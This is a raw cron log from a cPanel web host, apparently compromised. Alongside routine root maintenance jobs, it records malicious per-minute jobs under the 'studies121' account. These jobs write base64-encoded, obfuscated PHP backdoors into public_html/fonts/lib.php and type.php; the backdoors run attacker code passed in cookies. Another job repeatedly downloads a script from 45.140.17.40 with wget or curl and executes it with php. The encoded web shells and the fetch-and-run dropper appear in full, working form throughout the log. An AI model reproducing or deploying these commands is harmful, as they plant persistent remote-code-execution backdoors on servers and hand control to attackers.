Sep  3 04:45:01 ip-184-168-122-23 CROND[1964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:45:01 ip-184-168-122-23 CROND[1965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:45:01 ip-184-168-122-23 CROND[1970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:45:01 ip-184-168-122-23 CROND[1968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:45:01 ip-184-168-122-23 CROND[1975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:45:01 ip-184-168-122-23 CROND[1976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:45:01 ip-184-168-122-23 CROND[1977]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  3 04:46:01 ip-184-168-122-23 CROND[2083]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:46:01 ip-184-168-122-23 CROND[2086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:46:01 ip-184-168-122-23 CROND[2089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:46:01 ip-184-168-122-23 CROND[2087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:46:01 ip-184-168-122-23 CROND[2085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:46:01 ip-184-168-122-23 CROND[2088]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 04:46:01 ip-184-168-122-23 CROND[2090]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 04:47:01 ip-184-168-122-23 CROND[2265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:47:01 ip-184-168-122-23 CROND[2266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:47:01 ip-184-168-122-23 CROND[2267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:47:01 ip-184-168-122-23 CROND[2268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:48:01 ip-184-168-122-23 CROND[2349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:48:01 ip-184-168-122-23 CROND[2351]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:48:01 ip-184-168-122-23 CROND[2352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:48:01 ip-184-168-122-23 CROND[2355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:48:01 ip-184-168-122-23 CROND[2354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:49:01 ip-184-168-122-23 CROND[2447]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  3 04:49:02 ip-184-168-122-23 CROND[2448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:49:02 ip-184-168-122-23 CROND[2451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:49:02 ip-184-168-122-23 CROND[2450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:49:02 ip-184-168-122-23 CROND[2449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:50:01 ip-184-168-122-23 CROND[2691]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 04:50:01 ip-184-168-122-23 CROND[2696]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 04:50:01 ip-184-168-122-23 CROND[2695]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:50:01 ip-184-168-122-23 CROND[2701]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:50:01 ip-184-168-122-23 CROND[2702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:50:01 ip-184-168-122-23 CROND[2705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:50:01 ip-184-168-122-23 CROND[2707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:50:01 ip-184-168-122-23 CROND[2709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:50:01 ip-184-168-122-23 CROND[2706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:51:01 ip-184-168-122-23 CROND[2854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:51:01 ip-184-168-122-23 CROND[2855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:51:01 ip-184-168-122-23 CROND[2857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:51:01 ip-184-168-122-23 CROND[2856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:52:01 ip-184-168-122-23 CROND[2948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:52:01 ip-184-168-122-23 CROND[2949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:52:01 ip-184-168-122-23 CROND[2950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:52:01 ip-184-168-122-23 CROND[2951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:52:01 ip-184-168-122-23 CROND[2952]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:53:01 ip-184-168-122-23 CROND[3037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:53:01 ip-184-168-122-23 CROND[3040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:53:01 ip-184-168-122-23 CROND[3038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:53:01 ip-184-168-122-23 CROND[3041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:54:01 ip-184-168-122-23 CROND[3171]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:54:01 ip-184-168-122-23 CROND[3174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:54:01 ip-184-168-122-23 CROND[3173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:54:01 ip-184-168-122-23 CROND[3175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:54:01 ip-184-168-122-23 CROND[3176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:55:01 ip-184-168-122-23 CROND[3364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:55:01 ip-184-168-122-23 CROND[3363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:55:01 ip-184-168-122-23 CROND[3367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:55:01 ip-184-168-122-23 CROND[3366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:55:01 ip-184-168-122-23 CROND[3372]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:55:01 ip-184-168-122-23 CROND[3373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:56:01 ip-184-168-122-23 CROND[3508]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:56:01 ip-184-168-122-23 CROND[3510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:56:01 ip-184-168-122-23 CROND[3512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:56:01 ip-184-168-122-23 CROND[3511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:56:01 ip-184-168-122-23 CROND[3513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
